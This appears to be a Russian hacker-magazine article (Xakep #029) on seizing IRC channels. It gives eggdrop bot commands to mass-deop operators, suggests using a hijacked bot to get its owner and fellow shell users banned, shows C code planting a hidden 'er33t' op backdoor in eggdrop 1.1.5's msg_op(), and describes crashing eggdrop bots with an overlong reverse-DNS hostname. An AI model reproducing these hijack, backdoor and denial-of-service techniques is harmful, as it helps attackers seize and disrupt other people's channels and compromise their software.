
Захват канала на IRC!
Денис Мысенко
Xakep, номер #029, стр. 029-064-2
putserv "mode ${chan} :-oooo <оп5 оп6 оп7 оп8>"
putserv "mode ${chan} :+o-o <твой ник> ${botnick}"
}
Замени оп1-оп8 на имена опов на канале, при необходимости добавь еще (на IrcNet'е добавляй по 3 опа в строку). Таким образом, по команде /msg <ник бота> yahoo <#канал> произойдёт деоп всех левых опов на канале, потом опнет тебя (лучше, если твоих клиентов будет несколько) и снимет статус с себя. Хотя это не всегда прокатывает, т. к. в грамотно настроенных ботнетах предусмотрено автоматическое восстановление @ при деопе, или выдача дополнительных статусов в случае появления новых опов. Отсюда мораль: внимательно конфигурируй мемберов своего botnet`a, и устанавливай максимально прочные связи между ними.
Плюсы метода: красивый ход, полная власть над ботом. К примеру, можешь после захвата канала, завести бота на оперский чан (#us-opers, #eu-opers) и заставить его написать какие-нибудь хулиганства. Тогда камикадзе получит кучу банов на разных серверах, и его легальный владелец еще не раз тебя вспомнит :). Это полезно для лишения противника целого ряда хостов, откуда он обычно заводит ботву. Также эффективно устраивать флуд ботом с того же сервера (realshell.com, к примеру), но с другого аккаунта: отрубят не только твоего подопечного, но и всех сидящих с тем же хостом.
Минусы метода: легко исправим - владелец пришел, исправил конфиг, сменил пароль и конец сказке.
Модификация исходного кода
Рулез рассматриваемого способа заключается в том, что владельцу бота сложнее заметить внесённые тобой изменения, с учётом которых, ты получаешь контроль над говорящим яйцом. Возможно, owner вообще не поймет, чего случилось: просто удалит тебя с бота (если себя добавлял). А в следующий раз ты сможешь без проблем снова заюзать старую нычку (получается своеобразный backdoor). К примеру, добавим кое-чего в начало функции msg_op() из msgcmds.c (eggdrop 1.1.5), обрабатывающую запросы на получение статуса оператора:
if (strcasecmp(par[0], "er33t")) {
chan = chanset;
while (chan != NULL) {
add_mode(chan, '+', 'o', nick);
chan = chan->next;
}
Убийство бота
Все большей популярностью в последнее время пользуется DoS (Denial of Service) - выбивание какого-то сервиса (в нашем случае - бота) из строя. То есть ты не получишь никаких особых прав, просто убьешь бота: эдакий деструктивный метод, но часто самый простой. Пройдет только в том случае, если на канале висят дырявые боты и дырявые клиенты (или клиенты не висят совсем - их юзеры заочно повесились :)). После чего канал просто потеряет операторов и тебе придется брать этот статус с нетсплита или же выносить всех посетителей (тех, что даже без @) и срывать статус, перезаходом на канал. К примеру, можно убить незащищенный eggdrop 1.1.5 (достаточно, популярный на IRC), если ты присвоишь какой-то машине IP, который резолвится (так сказать, DNS'ится, lookup'ится) в 50-символьный хост (вместе с точками). И если с этой машины зателнетишься к боту на его порт (если он открыт, естественно), то он, с горя, умрет (overflow'нется). Так можно быстро погубить целый ботнет.